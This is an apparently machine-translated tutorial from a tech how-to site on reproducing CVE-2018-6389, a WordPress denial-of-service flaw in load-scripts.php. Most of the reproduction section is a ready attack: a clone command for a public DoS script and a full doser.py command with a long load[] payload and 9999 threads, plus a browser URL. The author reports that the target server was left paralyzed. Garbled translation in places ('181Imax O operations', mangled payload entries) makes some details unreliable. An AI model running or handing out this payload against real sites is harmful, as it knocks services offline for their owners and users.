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2025-01-23 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
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This article will explain in detail how to analyze WordPress Dos vulnerability CVE-2018-6389 analysis, the content of the article is of high quality, so the editor will share it with you for reference. I hope you will have some understanding of the relevant knowledge after reading this article.
Introduction to CVE-2018-6389
The flaw is at load-scripts.php, which is designed for WordPress administrators and allows multiple JavaScript files to be loaded into a single request, but the researchers note that you can call this function before logging in to allow anyone to call it, that is, anyone can call it. By constructing a special payload, it can cause the server to perform 181Imax O operations, and the effect of Dos can be achieved in the case of concurrent requests.
Vulnerability testing
In one test, I saw that a site was an WordPress architecture with the following paths:
Https://example.com/wp-admin/load-scripts.php?c=1&load[]=jquery-ui-core&ver=4.9.1
The load-scripts.php file receives a parameter from load [] with the parameter value of 'jquery-ui-core', after loading the request, and I receive the JS response module of' jQuery UI Core' in the response returned.
At this glance, I think of WordPress's DoS kill vulnerability CVE-2018-6389. Although it is only DoS, it is also a good hole that was once all the rage. The flaw lies in that WordPress allows users to load multiple JS and CSS files at once through load-scripts.php files, after which load-scripts.php automatically loads jquery-ui-core and editor files and returns the file contents. However, there is no limit on the number and size of JS files during loading, and attackers can use this feature to exhaust server resources and launch a denial of service attack. This article will use the online experimental environment of VulnSpy to reproduce and test the vulnerabilities.
The link above seems to indicate that it may be a JS module provided to the user, and that the load [] parameter is an array, which means that multiple values may be provided to it, so that multiple JS modules can be obtained in the response.
Because WordPress uses the wp_scripts list to store the paths of all 181script files, the goal is to allow administrators or developers to include specific script paths in the load [] parameter to improve performance based on user-supplied values. The wp_scripts list is hard-coded in the script-loader.php file. So, I wonder if I make a request to the server to respond to each of its stored JS modules, so that a single request will allow the server to perform 181I / O operations! Let's try CVE-2018-6389.
I gave it a try, and it did exist!
Loophole recurrence
1. Enter the command clone https://github.com/WazeHell/CVE-2018-6389.git in the Linux terminal
2. Copy the test script and take the target website as https://example.com/ as an example to perform the following tests:
Python doser.py-g 'https://example.com/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate, Jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog Jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry Jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest Admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post Editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery Svg-painter&ver=4.9'-t 9999
After about 2000 packets were sent, I observed that the server side had obviously struggled to respond.
3. Now we visit the following link in the browser:
Https://example.com/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core, Jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable Jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs Plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun Media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery Admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9'-t 9999
It can be seen that the server is basically paralyzed and will eventually return a timeout reminder, so the test is effective and successful.
On how to analyze the WordPress Dos vulnerability CVE-2018-6389 analysis is shared here, I hope that the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.
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